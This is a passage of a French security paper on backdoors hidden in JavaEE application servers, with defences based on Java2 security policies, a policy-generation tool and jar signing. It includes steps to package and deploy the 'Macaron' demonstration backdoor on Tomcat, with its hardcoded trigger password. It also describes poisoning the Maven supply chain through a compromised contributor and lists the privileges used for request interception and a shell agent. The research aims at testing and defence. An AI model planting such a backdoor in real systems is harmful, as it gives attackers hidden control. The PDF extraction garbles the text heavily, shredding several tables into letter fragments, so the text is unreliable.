418 Porte derobee dans les serveurs drsquoapplications JavaEE

ndash httphomepagentlworldcomrichard_c_atkinsonjfreechartjfreechart-sample

war

ndash httpwwwspringsourceorgdownload

Apres le telechargement utilisez un editeur drsquoarchives ZIP ou une console

$ wget http tomcatapacheorgtomcat -55-docappdevsamplesamplewar

$ mkdir -p WEB -INFlib

$ mv macaron -backdoor jar WEB -INFlib

$ jar -uf samplewar WEB -INF

$ cp samplewar $CATALINA_HOMEwebapps

Pour eviter toute utilisation malheureuse du code ce dernier ne srsquoexecute pas siquelques conditions ne sont pas reunies Il faut declarer la variable drsquoenvironnementmacaron-backdoor avant de lancer le serveur drsquoapplication

export JAVA_OPTS = $JAVA_OPTS -Dmacaron -backdoor=i-take -responsibility -for -my-

actions

Si de plus vous utilisez la securite avec Tomcat il faut ajouter trois privilegesdans le fichier $CATALINA HOMEconfcatalinapolicy dans la section grant

grant

Pour Macaron Backdoor

permission javautilPropertyPermission macaron -backdoorread

permission javalangRuntimePermission createClassLoader

permission javalangRuntimePermission getProtectionDomain

Notez que ces trois parametres ne sont pas necessaires avec la version non protegeequi nrsquoest pas publique

Puis lancez Tomcat

$ $CATALINA_HOMEbincatalinash run -security

Attendez trente secondes que la porte derobee soit bien en place puis avecun navigateur consultez le site Dans un champ de formulaire indiquez le mot depasse laquo M4c4r0n raquo ou ajoutez a lrsquoURL drsquoune page param=M4c4r0n

33 Diffusion du code

La librairie Macaron est un bon exemple de ce que peut faire un developpeurinconvenant Pour verifier que les protections sont en place il faut les challenger Lademonstration proposee sert a cela (Proof of Concept) Elle permet de qualifier unenvironnement en injectant volontairement cette archive pour en mesurer lrsquoimpact

P Prados 419

La librairie est diffusee a lrsquoaide drsquoune archive non hostile Les sources ne sont paspubliques

Pour eviter des usages malvenus le code est techniquement protege contre lade-compilation Un pirate etant capable de le de-compiler est capable de lrsquoecrire etcela plus rapidement Le code est volontairement tres verbeux Les logs recoivent unmessage signalant clairement sa presence et ce qursquoil fait Cela facilite sa detection eteclaire sur les vulnerabilites

La clef drsquoacces est codee en laquo dur raquo et ne peut pas etre modifiee facilement Unesimple regle du pare-feu permet alors drsquointerdire son usage depuis le reseau Il suffitde detecter le mot laquo M4c4r0n raquo pour couper la communication

Pour resumer ndash Ce code ne doit pas etre utilise en production ndash Il permet de qualifier la securite de la production

4 Propagation

Les projets etant de plus en plus dependants de composants eux-memes dependantsdrsquoautres composants il est souvent difficile drsquoajouter toutes les archives avec les bonnesversions pour que le projet fonctionne

Le projet Maven7 de la fondation Apache propose de gerer cela en permettant achaque composant de decrire ses dependances Un algorithme est alors capable deparcourir le graphe de dependance pour selectionner toutes les archives necessaires aun projet Un referentiel global regroupe toutes les versions des composants OpensSource

Pour alimenter le referentiel global il faut demontrer que lrsquoon est gestionnairedrsquoun nom de domaine via lrsquoexposition de son nom propre sur une page principaledu site puis indiquer a lrsquoadministrateur Maven ou chercher les archives a publier Ilnrsquoest possible de publier que des composants de ce nom de domaine

Lrsquoadministrateur de Maven se connecte via SSH sur le compte indique et recupereles fichiers pour les publier

Le nombre de contributeurs est important Les archives recuperees ne sont passignees electroniquement

En attaquant le compte drsquoun seul contributeur (par force brute sniffing Man-in-the-middle etc) il est possible drsquoajouter une dependance a un des composants Celapeut srsquoeffectuer dans un gestionnaire de version type CVS ou SVN ou directement ala source de recuperation du composant par lrsquoadministrateur Maven Ainsi la nouvelle

7 httpmavenapacheorg

420 Porte derobee dans les serveurs drsquoapplications JavaEE

dependance va permettre lrsquoajout de lrsquoarchive de la porte derobee dans tous les projetsutilisant le composant verole

Les developpeurs consultent rarement la liste des archives presentes dans leursprojets car Maven se charge automatiquement de cela

Pour installer la porte derobee un developpeur inconvenant a plusieurs strategiesIl peut

ndash Injecter une archive dans le repertoire WEB-INFlib ndash Injecter le code dans une archive drsquoun Open Source utilisee par le projet ndash Declarer une dependance MAVEN dans le referentiel standard de MAVEN en

attaquant un des contributeurs Ainsi tous les projets MAVEN dependant ducomposant injectent la porte derobee

ndash Ajouter une dependance MAVEN dans un des composants du projet ou drsquounOpen Source du referentiel de lrsquoentreprise Une simple modification drsquoun fichierXML suffit eventuellement completee drsquoun re-calcul drsquoun SHA1

Comme nous lrsquoavons demontre la seule presence drsquoune archive permet lrsquoinstallationdrsquoune porte derobee Il faut faire tres attention a tous les composants externes utilisespar un projet

Dernierement des referentiels ont ete victimes drsquoattaques Tous les clients deRedHat ou de Debian en ont ete victimes Un probleme similaire est arrive sousMaven8 Cela demontre la realite de la menace

Pour reduire les risques les composants presents dans le referentiel Maven devraienttous etre signes numeriquement par leurs auteurs ainsi que les fichiers de descriptionsdes dependances Ainsi un pirate devra non seulement attaquer un compte maisvoler et casser la clef privee de lrsquoauteur pour modifier le composant Des travaux ence sens sont en cours9

La technologie Ivy10 srsquoappuie sur le repository Maven ou sur drsquoautres Ne verifiantpas les signatures elle est tout aussi vulnerable

5 Les solutions

Java possede un mode securise limitant fortement les possibilites de la portederobee Correctement utilisee cette securite empeche lrsquoinstallation drsquoune portederobee en tant que filtre pour capturer tout le trafic applicatif

Lorsque la securite Java2 est activee les APIs disponibles sont limitees Les classesdu serveur drsquoapplications ont tous les privileges mais pas celles des applications

8 httpwwwnabblecomUnintended-usage-of-core-plugin-stubs-td19633933html9 httpdocscodehausorgdisplayMAVENRepository+Security

10 httpantapacheorgivy

P Prados 421

hebergees Dans ce mode les projets doivent souvent ajouter ponctuellement desprivileges pour leurs projets (acces a certains repertoires certaines machines dureseau etc)

Lrsquoexemple suivant donne le droit de creer un chargeur de classes a lrsquoensemble desarchives presentes dans le repertoire WEB-INFlib du projet MonProjet

grant codeBase file$catalinabase webappsMonProjetWEB -INFlib

permission javalangRuntimePermission

createClassLoader

Si le codeBase est termine par une etoile toutes les archives beneficient desprivileges Si le codeBase est termine par un caractere laquo moins raquo toutes les archivespresentes dans le repertoire et ses sous repertoires beneficient des privileges

Attention lrsquoouverture de privileges peut egalement ouvrir les acces aux portesderobees

Pour chaque technique utilisee par la porte derobee de demonstration il existeune liste minimum de privileges necessaires en securite Java2 Les parametres desecurite par defaut ne permettent pas lrsquoinstallation de la porte derobee mais les droitsnecessaires aux frameworks modernes ouvrent souvent la porte aux attaques

En ouvrant un droit pour un composant il y a le risque drsquoouvrir le droit pour laporte derobee Pour eviter cela il ne faut jamais ouvrir les droits globalement pourun repertoire complet Les droits doivent etre ouverts pour chaque composant lrsquounapres lrsquoautre

grant codeBase file$catalinabase webappsPrjWEB -INFlibspring -corejar

permission javalangRuntimePermission

createClassLoader

Chaque attaque et chaque agent de la demonstration exige certains privileges pourfonctionner Lrsquoabsence drsquoun seul de ces privileges interdit lrsquoattaque drsquoetre effectiveLes tableaux suivants les identifient Certains privileges sont optionnels srsquoils sontpresents le code est plus efficace sinon il contourne la difficulte Par exemple srsquoilnrsquoest pas possible de lire un fichier il nrsquoest pas possible de savoir si lrsquoarchive a dejaete copiee dans le repertoire privilegie du serveur drsquoapplication Dans ce cas le codecopie systematiquement lrsquoarchive Sinon elle est copiee que si cela est necessaire

422 Porte derobee dans les serveurs drsquoapplications JavaEE

Le

table

ausu

ivan

tid

enti

fie

les

diff

eren

tspie

ges

pre

sents

dan

slrsquoar

chiv

ede

dem

onst

rati

on

Pie

ges

Locali

sati

on

Desc

rip

tion

s

Res

ou

rces

Bu

nd

les

Exceptionsclass

formatclass

i18nclass

LocalStringsclass

messageclass

messagesclass

viewsclass

windowsclass

javaxservletLocalStringsclass

orgapachecatalinastoreconfigLocalStringsclass

orgapachexercesimplmsgDOMMessagesclass

orgapachexmlresXMLErrorResourcesclass

orghibernatevalidatorresourcesDefaultValidatorMessagesclass

Pu

blica

tion

de

class

esp

ou

rsi

mu

ler

un

fich

ier

properties

Ser

vic

essp

ecifi

cati

on

sJA

RMETA

INFservicesjavaxxmlparsersDocumentBuilderFactory

META

INFservicesjavaxxmlparsersSAXParserFactory

Pu

blica

tion

de

lrsquoim

ple

men

tati

on

de

nou

vea

ux

serv

ices

pu

isd

eleg

ati

on

du

trait

emen

ta

lrsquoim

ple

men

tati

on

stan

-d

ard

Pro

gra

mm

ati

on

par

asp

ect

META

INFaopxml

Dec

lara

tion

gen

eriq

ue

de

regle

sd

rsquoin

ject

ion

s

Le

tab

leau

suiv

ant

ind

iqu

ele

sd

iffer

ente

ste

chn

iqu

esdrsquoi

nje

ctio

ns

dan

sle

flu

xd

etr

ait

emen

td

esre

qu

etes

HT

TP

etle

sp

rivil

eges

nec

essa

ires

P Prados 423In

jecti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Pro

tect

ion

de

lap

ort

ed

erobee

contr

ela

de-

com

pilati

on

javautilPropertyPermission

macaron-backdoorread

javalangRuntimePermission

createClassLoader

javalangRuntimePermission

getProtectionDomain

Pou

rev

iter

lad

e-co

mp

ilati

on

le

cod

ees

tp

rote

ge

Ce

pri

vil

ege

nrsquoe

stp

as

nec

essa

ire

enco

nd

itio

nn

orm

ale

etp

eut

etre

ign

ore

lors

des

test

sIl

nrsquoe

stp

as

dis

crim

inant

pou

rdem

ontr

erqu

rsquoun

eatt

aqu

en

ep

eut

avoir

lieu

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

La

port

ed

erobee

con

stru

itu

ne

Valv

eet

lrsquoin

-je

cte

dan

sT

om

cat

alrsquoaid

ed

rsquoun

ere

qu

ete

Mb

ean

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

5x

siltContext

privileged=truegt

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Si

lep

rivil

ege

est

dis

pon

ible

dan

scontextxml

etu

tilisa

tion

de

Tom

cat

5x

Inje

ctio

nd

eV

alv

ed

an

sT

om

cat

6x

javalangRuntimePermission

defineClassInPackageorgapachecatalinavalves

javalangRuntimePermission

defineClassInPackageorgapachecatalina

javalangRuntimePermission

defineClassInPackageorgapachecatalinaconnector

Si

uti

lisa

tion

de

Tom

cat

6x

Inje

ctio

nd

eV

alv

ed

an

sJB

oss

avec

Tom

cat

5x

siltContext

privileged=truegt

javaxmanagementMBeanServerPermission

findMBeanServer

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanaddValve

queryNamesinvokeregisterMBean

javaxmanagementMBeanPermission

orgapachetomcatutilmodelerBaseModelMBeanremoveValve

invoke

(Optionel)

javalangRuntimePermission

getClassLoader

javalangRuntimePermission

accessClassInPackageorgapachecatalina

javalangRuntimePermission

accessClassInPackageorgapachecatalinavalves

javalangRuntimePermission

accessClassInPackageorgapachecatalinaconnector

javalangRuntimePermission

accessClassInPackageorgapachetomcatutilhttp

Sile

pri

vil

ege

est

dis

pon

ible

dan

scontextxml

lap

ort

ed

erob

eeco

nst

ruit

un

eV

alv

eet

lrsquoin

ject

ed

an

sJB

oss

alrsquoaid

ed

rsquoun

ere

quet

eM

bea

n

424 Porte derobee dans les serveurs drsquoapplications JavaEE

Inje

cti

on

Priv

ileges

necess

air

es

Desc

rip

tion

s

Au

gm

enta

tion

de

pri

vil

eges

sou

sT

om

cat

javaioFilePermission

$catalinahomelibwrite

javaioFilePermission

$catalinahomelibread

(Optional)

javautilPropertyPermission

catalinahomeread(Optional)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Au

gm

enta

tion

de

pri

vil

eges

sou

sJB

oss

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerwrite

javaioFilePermission

$jbosshomedirserverdefaultdeployjboss-webdeployerread

(Optionel)

Dro

iten

ecri

ture

sur

lere

pert

oir

epar

lrsquoO

Sp

our

lrsquouti

lisa

teur

pro

pri

eta

ire

du

serv

eur

drsquoa

pplicati

on

Cet

teatt

aqu

eco

nsi

ste

are

cop

ier

lrsquoarc

hiv

ed

ela

port

ed

erob

eed

an

su

nau

tre

rep

erto

ire

du

serv

eur

drsquoa

pp

lica

tion

A

insi

au

pro

chain

dem

arr

age

de

ced

ern

ier

leco

de

ben

efici

ed

ep

lus

de

pri

vil

eges

Inje

ctio

nd

efi

ltre

JavaE

Ed

an

swebxml

sou

sT

om

cat

javaioFilePermission

$catalinabasewebapps$warWEB

INFwebxml

write

Cet

teatt

aqu

eco

nsi

ste

ain

ject

eru

nfi

ltre

JE

Ed

an

sla

ver

sion

enca

che

de

Tom

cat

du

fich

ier

webxmlA

up

roch

ain

red

emarr

age

lefi

ltre

est

act

if

Inje

ctio

nS

pri

ng

Au

cun

Inje

ctio

nd

eltbeangt

dan

sle

sfi

chie

rsd

ep

ara

met

rage

de

Sp

rin

gp

ou

rca

ptu

rer

tou

sle

sre

qu

etes

au

fram

ework

MV

C

Pro

gra

mm

ati

on

par

asp

ect

Au

cun

Inje

ctio

nd

etr

ait

emen

tp

ou

rle

sse

rvle

tset

JS

P

Vou

sp

ou

vez

con

state

rqu

ed

eux

att

aqu

esn

en

eces

site

nt

au

cun

pri

vil

ege

Le

tab

leau

suiv

ant

rep

ren

dle

sp

rivil

eges

nec

essa

ires

au

xd

iffer

ents

agen

tsp

rop

ose

sC

esp

rivileg

esn

eso

nt

pas

nec

essa

ires

au

ne

att

aqu

eci

ble

e

P Prados 425A

gents

Priv

ileges

min

imu

ms

necess

air

es

Desc

rip

tion

s

Agen

tH

isto

riqu

eA

ucu

np

rivil

ege

part

icu

lier

A

gen

tm

emori

sant

les

der

nie

res

requ

etes

HT

TP

Agen

tJN

DI

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tm

an

ipu

lant

lrsquoan

nu

air

eJN

DI

Agen

tJM

XjavaxmanagementMBeanPermission

getDomainsgetMBeanInfogetAttribute

Agen

tco

nsu

ltant

les

JM

X

Agen

tJD

BC

Au

cun

pri

vil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

de

man

ipu

ler

lab

ase

de

don

nee

s

Agen

tJava

avec

lan

gage

Javasc

rip

tA

ucu

np

rivil

ege

part

icu

lier

A

gen

tp

erm

etta

nt

lrsquoex

ecu

tion

de

cod

eJavasc

rip

t

Agen

tJava

avec

lan

gage

Java

javalangRuntimePermission

createClassLoader

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

Agen

tp

erm

etta

nt

laco

mp

ilati

on

de

cod

eJava

alrsquoaid

ed

rsquoAJP

le

com

pilate

ur

de

JS

P

Exte

nsi

on

agen

tJava

pou

rT

om

cat

javaioFilePermission

$catalinahomecommonlibread

javaioFilePermission

$catalinahomecommonendorsedread

javaioFilePermission

$catalinahomecommonendorsedread

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

du

cod

eso

us

Tom

cat

Exte

nsi

on

agen

tJava

pou

ru

ne

com

pilati

on

via

toolsjar

javautilPropertyPermission

javaiotmpdirread

javautilPropertyPermission

javaclasspathread

javautilPropertyPermission

javaendorseddirsread

javautilPropertyPermission

javaextdirsread

javautilPropertyPermission

sunbootclasspathread

javaioFilePermission

$javahomeclassesread

javaioFilePermission

$javahomeclasses-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

javaioFilePermission

$javahomelib-read

javaioFilePermission

$javahomelibtoolsjarread

javaioFilePermission

$javaiotmpdirread

javaioFilePermission

$javaiotmpdir-readwritedelete

javaioFilePermission

read

javaioFilePermission

-read

Les

dro

its

sup

ple

men

tair

esp

ou

rco

mp

iler

avec

tools

jar

siA

JP

nrsquoe

stp

as

dis

pon

ible

Agen

tS

hel

l

javaioFilePermission

binbashexecute

javaioFilePermission

WINDOWSSytem32cmdexeexecute

javaioFilePermission

commandcomexecute

Agen

tp

rop

osa

nt

un

shel

l

426 Porte derobee dans les serveurs drsquoapplications JavaEE

Les serveurs drsquoapplications utilisent rarement la securite Java2 Pourquoi Lesdeveloppeurs nrsquoayant jamais teste ce mode ils ne connaissent pas les droits minimumsa ouvrir Dans le doute pour ne pas faire planter lrsquoapplication tous les privilegessont ouverts

Utiliser la securite Java2 complexifie lrsquoinstallation des composants car il fautmodifier un fichier global du serveur drsquoapplication (policy) Nous proposons plusbas une solution pour ameliorer cela

Tomcat propose un parametre de lancement pour utiliser la securite Java2

$ catalinash run -security

Il aurait ete preferable drsquoavoir la securite par defaut et un parametre pour lasupprimer

JBoss ne propose pas nativement la securite Java 2 Le wiki11 indique commentmodifier le script de lancement pour ajouter les droits Il nrsquoest pas possible drsquoindiquerdes droits differents pour chaque composant ou chaque archive Les droits a ouvrirsont globaux a tous les composants et toutes les archives des composants car ledeploiement srsquoeffectue par defaut dans un repertoire dont le nom est aleatoire Ainsisans modification du deploiement de JBoss la porte derobee est pratiquement toujourspossible En ouvrant un droit pour un composant evolue les privileges sont egalementdisponibles pour les injections

51 Utilisation de la securite Java2

Il est difficile de connaıtre precisement lrsquoensemble des privileges necessaires achaque archive Les projets nrsquoindiquent generalement pas cette information

Pour remedier a cela et faciliter la prise en compte de la securite Java2 coteserveur nous proposons a tous les projets drsquoutiliser la convention suivante

ndash Pour chaque archive un fichier META-INFjarpolicy doit etre propose Cedernier indique a titre informatif les privileges minimum necessaires a lrsquoutili-sation du composant La syntaxe de ce fichier est conforme aux specificationsJava 12 Les privileges doivent etre indiques a titre global sans signedBy oucodeBase

Par exemple le fichier suivant indique des privileges pour une archive specifique

grant

permission javautilloggingLoggingPermission

control

permission javautilPropertyPermission

11 httpwwwjbossorgcommunitydocsDOC-938012 httpjavasuncomj2se13docsguidesecurityPolicyFileshtml

P Prados 427

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

Lrsquoutilitaire macaron-policy que nous proposons permet alors drsquoagreger tous lesprivileges necessaires a un composant WAR ou EAR pour produire un fichier deprivilege complet Vous le trouverez avec drsquoautres utilitaires ici httpmacarongooglecodecom Il est capable de prendre en entree un composant JavaEE un fichierpolicy deja present ou une log de JVM executee avec la variable drsquoenvironnement-Djavasecuritydebug=accessfailure

Sur le site une video presente egalement un cas drsquoutilisation de cet outil

De ces trois sources drsquoinformations le programme extrait les privileges necessaireset peut egalement modifier directement un fichier policy existant

$ macaron -policy --output MonComposantpolicy

MonComposantear

Le fichier produit doit etre adapte au contexte drsquoexecution avant drsquoetre inseredans le serveur drsquoapplications

Comme le fichier resultat est generalement dependant du serveur drsquoapplicationil est parfois difficile de decrire les privileges globalement dans une archive sansadherence a un serveur particulier Pour contourner cela des variables peuvent etreutilisees dans les fichiers META-INFjarpolicy

Lors de la generation du fichier de politique de securite il est possible de lesvaloriser pour les specialiser pour le serveur drsquoapplications cible Nous proposons lesconventions suivantes

Tab 1 Variables de politique de securite

Variable Description

$serverhome Repertoire racine du serveur drsquoapplications$serverlib Repertoire des librairies du serveur drsquoapplications$webappbase Repertoire de base de deploiement des composants$webapphome Repertoire de deploiement du composant

Ainsi une archive desirant avoir un acces en ecriture dans le repertoire log durepertoire de deploiement du composant doit indiquer dans le fichier jarpolicy leprivilege suivant

428 Porte derobee dans les serveurs drsquoapplications JavaEE

grant

permission javaioFilePermission $webapphomelogread write

Lors de lrsquoexecution de lrsquoutilitaire les variables peuvent etre valorisees soit directe-ment par la ligne de commande (parametre -D classique) soit en indiquant un ouplusieurs fichiers de proprietes (parametre -P) Les variables non valorisees restentdisponibles Conformement aux specifications des fichiers policy elles devront etrevalorisees lors du lancement de la machine virtuelle par des variables systemes

Le fichier de propriete pour Tomcat est le suivant

serverhome=$catalinahome

serverlib=$catalinahome serverlib

webappsbase=file$catalinabase webapps

webappshome=$webappsbase$basename

La variable $basename est la seule inconnue de Tomcat Il faut la valoriser pourlrsquoadapter au nom du repertoire servant a deployer le composant Par defaut cettevariable est valorisee avec le nom du composant lui-meme mais cela peut etre modifieen ligne de commande

$ macaron -policy -P tomcatproperties

-Dbasename=sample

Vous pouvez egalement choisir de laisser cette variable en etat et la valoriser lorsdu lancement de la JVM du serveur drsquoapplication

$ macaron -policy -P tomcatproperties

-Dbasename=$basename

$ export JAVA_OPTS=- Dbasename=sample

$ $TOMCAT_HOMEbincatalinash run -security

Une invocation de lrsquooutil pour Tomcat ressemble lsquoa ceci

$ macaron -policy --output MonComposantpolicy

-P tomcatproperties MonComposantear

Le fichier produit peut avoir deux formes Il declare des privileges pour chaquearchive (recommande)

Privileges separes

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl1jar

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

grant codebase file$catalinabase webappsMonComposantWEB -INFlibl2jar

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

P Prados 429

ou tous les privileges globalement (parametre --merge )

Privileges globaux

grant

permission javautilloggingLoggingPermission control

permission javaioFilePermission -read write

permission javautilPropertyPermission javaiotmpdirread

permission javaioFilePermission $javaiotmpdir read write delete

Cela permet de traiter les serveurs drsquoapplications nrsquoetant pas capable de definirfinement les privileges JBoss par exemple utilise par defaut un repertoire aleatoirepour le deploiement Il est possible de supprimer cette fonctionnalite

La variable $prefix est utilisee en introduction du codebase avant le nomde lrsquoarchive Elle est valorisee par defaut a $webappshome pour repondre auxcomposants JavaEE En la modifiant il est possible drsquoexploiter les privileges pourdrsquoautres contextes drsquoexecutions une application Swing par exemple

Comme la plupart des archives nrsquoindiquent pas les privileges dont elles ont besoinet qursquoil est difficile de les identifier a priori nous proposons une base de donneecollaborative13 pour permettre a chacun de lrsquoalimenter

Lrsquoutilitaire recherche le fichier META-INFjarpolicy dans chaque composantSrsquoil ne le trouve pas une requete est envoyee a la base de donnee pour recuperer laderniere version des privileges publies Si le composant nrsquoest pas present dans la basede donnees le programme lrsquoignore et ne genere pas de privilege pour ce composant Sipar la suite vous souhaitez faire enregistrer les privileges identifies sur un composantparticulier inscrivez-vous sur le site et partagez votre decouverte

Vous pouvez construire votre propre base de donnees La variable drsquoenvironnementPOLICY DATABASE ou le parametre --database permettent drsquoindiquer le format delrsquoURL a utiliser La chaine de caracteres est convertie en nom de lrsquoarchive avantlrsquoinvocation

Les exemples suivants sont des URLs de base de politique valides ndash httplocalhostpolicyparam=

ndash httpslocalhost

ndash filedatabasepolicypolicy

ndash policypolicy

Une base dans un repertoire local peut donc etre utilisee aussi facilement qursquounebase distante sur HTTP ou HTTPS Il suffit drsquoavoir des fichiers comme spring-core-

-255jarpolicy avec les privileges necessaires dans le repertoire databasepolicyCela permet drsquoutiliser des privileges normalises au sein de lrsquoentreprise

13 httpmacaron-policygooglecodecom

430 Porte derobee dans les serveurs drsquoapplications JavaEE

Lrsquoutilitaire lui-meme respecte les conventions proposees Lrsquoarchive policy-jar

possede un fichier META-INFjarpolicy A titre de demonstration nous pouvonsappliquer lrsquoutilitaire a lui-meme

$ macaron -policy --merge --output securitypolicy

$MACARON_HOMElibpolicy -jar

Cette commande demande la generation drsquoun fichier securitypolicy avec tousles privileges declares dans le fichier META-INFjarpolicy presents dans lrsquoarchivepolicy-jar Nous souhaitons que les privileges soient declares globalement Nouspouvons immediatement utiliser le resultat pour relancer lrsquoutilitaire mais cette foisavec la securite Java2 activee

$ JAVA_OPT=-Djavasecuritymanager

-Djavasecuritypolicy=securitypolicy

macaron -policy --output -

$MACARON_HOMElibpolicy -jar

Les privileges demandes sont les suivants

grant

permission javautilloggingLoggingPermission control

permission javautilPropertyPermission

javaiotmpdirread

permission javaioFilePermission

ltltALL FILES gtgtread write

permission javaioFilePermission

$javaiotmpdir read write delete

permission javanetSocketPermission

80 connect resolve

permission javanetSocketPermission

443 connect resolve

permission javalangRuntimePermission

getenvPOLICY_DATABASE

Ils sont parfaitement conformes aux fonctionnalites de lrsquooutilPour enrichir un fichier existant il suffit de lrsquoindiquer dans le parametre --policy

Ainsi pour injecter directement les privileges dans le fichier de Tomcat vous pouvezutiliser la commande suivante

$ macaron -policy

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

Les privileges extraits ne sont generalement pas suffisants Ils constituent unpremier jet a enrichir avec le contexte drsquoexecution Par exemple vous ne trouverezpas de privileges pour les connections reseaux dans les fichiers jarpolicy

P Prados 431

Pour identifier les problemes de securite ajoutez -Djavasecuritydebug=access-failure dans la ligne de commande de la JVM cela trace toutes les invocations Levolume de logs etant important il est preferable drsquoinjecter le resultat dans un fichier

$ export JAVA_OPTS=-Djavasecuritydebug=access failure

$ $CATALINA_HOMEbincatalinash run

-security gtaccesslog 2gtamp1

La trace produite par la JVM lors de la presence du parametre javasecuritydebugnrsquoest pas tres lisible Elle est tres volumineuse et melange les privileges accordes desprivileges refuses

Il est possible de ne tracer qursquoun type de privilege limitant ainsi le volume destraces

-Djavasecuritydebug=access failure permission=javalangRuntimePermission

Ou bien de ne tracer que les privileges necessaires a un composant particulier

-Djavasecuritydebug =

access failure codebase =

file$TOMCAT_HOMEwebappssample

Un parametre de lrsquooutil macaron-policy permet une analyse des traces produiteslors de lrsquoutilisation de la variable javasecuritydebug

macaron -policy --accesslog accesslog

Cela permet drsquoinjecter les dernieres erreurs detectees lors de lrsquoabsence drsquounprivilege

$ macaron -policy

--accesslog accesslog

--policy $CATALINA_HOMEconfcatalinapolicy

$CATALINA_HOMEwebappsMonComposantwar

Comme les erreurs presentes dans les logs utilisent des codeBase sans variable leresultat produit nrsquoest pas exactement celui attendu dans le fichier catalinapolicyPour corriger cela lrsquooutil est capable de faire une analyse inverse de variable Crsquoest adire qursquoil detecte dans le codeBase srsquoil nrsquoexiste pas une valeur correspondant a unevariable Si crsquoest le cas il la remplace par le nom de la variable Pour cela il fautdeclarer des variables inverses a lrsquoaide du parametre -I

$ macaron -policy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME

--policy $CATALINA_HOMEconfcatalinapolicy

MonComposantwar

432 Porte derobee dans les serveurs drsquoapplications JavaEE

Ainsi le fichier catalinapolicy est automatiquement mis a jour avec les derniersprivileges refuses a lrsquoapplication lors de la derniere execution

Pour identifier tous les privileges il faut alors proceder par iteration Cela estfastidieux mais grandement facilite par lrsquooutil macaron-policy

Tant qursquoil y a encore des privileges a ajouterndash Lancer le serveur drsquoapplication avec les logs drsquoacces actifs ndash Verifier lrsquoapplication jusqursquoa trouver un refus de privilege ndash Arreter le serveur drsquoapplications ndash Injecter les privileges manquant dans le fichier policy ndash RecommencerCela donne dans le cas de Tomcat le scenario suivant

$ export

JAVA_OPTS=-Djavasecuritydebug=access failure

$ while [ true ] do

echo -n ltCtrl -Cgt or ltCRgt to analyse and launch tomcat read

macaron -policy

-P tomcatproperties

--policy $CATALINA_HOMEconfcatalinapolicy

--accesslog accesslog

-Icatalinabase=$CATALINA_HOME $CATALINA_HOMEwebappsmyappwar

echo launch tomcat

$CATALINA_HOMEbincatalinash run -security gtaccesslog 2gtamp1

done

Il est egalement possible drsquoinitialiser une base de donnees locale Le resultatproduit doit etre repris a la main pour regrouper des privileges inserer des variablesqualifier veritablement les privileges en supprimer certains etc Le resultat ne devraiten aucun cas etre exploite tel quel Pour cela il faut ajouter le parametre --extract

en indiquant le prefixe des codeBase a extraire et indiquer le repertoire de destinationdans le parametre --output Par exemple pour extraire tous les privileges calculeesextraits drsquoune trace ou recuperes dans un fichier policy il faut proceder ainsi

$ macaron -policy

--loglevel info

--extract

--output mypolicydatabase

--policy $CATALINA_HOMEconfcatalinapolicy

Grace a cet outil il est beaucoup plus facile de produire le fichier de synthese desprivileges et drsquoutiliser la securite Java2 Bien entendu le fichier resultat doit etreconsulte avec attention avant sa mise en production Lrsquooutillage propose facilite sageneration Il ne garantit pas une securite optimum

Chaque projet peut utiliser plus ou moins de fonctionnalite drsquoun composant Lesprivileges presents dans les fichiers jarpolicy ou la base de donnees sont necessaires

P Prados 433

a lrsquoensemble des fonctionnalites Il est possible de supprimer des privileges srsquoils nesont pas exploites dans lrsquoapplication

Par mesure de securite le privilege javasecurityAllPermission nrsquoest pasautorise dans les fichiers sauf demande explicite en ligne de commande Utilisez leparametre --help pour avoir plus drsquoinformations

$ macaron -policy --help

52 Signature numerique

Une alternative consiste a signer numeriquement les archives lorsqursquoil est garantieqursquoelles sont saines Un couple de clef privepublic est utilise pour signer les archivesdont lrsquoentreprise a appliquer tous les outils de qualification comme lrsquooutil macaron-auditdecrit ci-dessous La clef privee est utilisee pour signer les archives avant de lespublier dans le repository de lrsquoentreprise Tous les privileges ou seulement certainspeuvent alors etre accordes globalement

grant codebase foocom Signedby foo

Principal comsunsecurityauthSolarisPrincipal duke

permission javasecurityAllPermission

Il est preferable de nrsquoaccorder que les privileges necessaires a chaque composant

53 Defense passive

Lors de lrsquoanalyse drsquoun composant JavaEE differents symptomes peuvent eveillerles soupcons

ndash La presence de packages de meme nom dans des archives differentes ndash La presence de fichiers de meme nom avec des extensions differentes dans les

memes packages ndash La presence de fichiers de meme nom dans des packages differents ndash La presence de fichiers dans META-INFservices ndash La presence de certaines annotationsNous proposons un outil drsquoaudit de composants Vous le trouverez avec drsquoautres

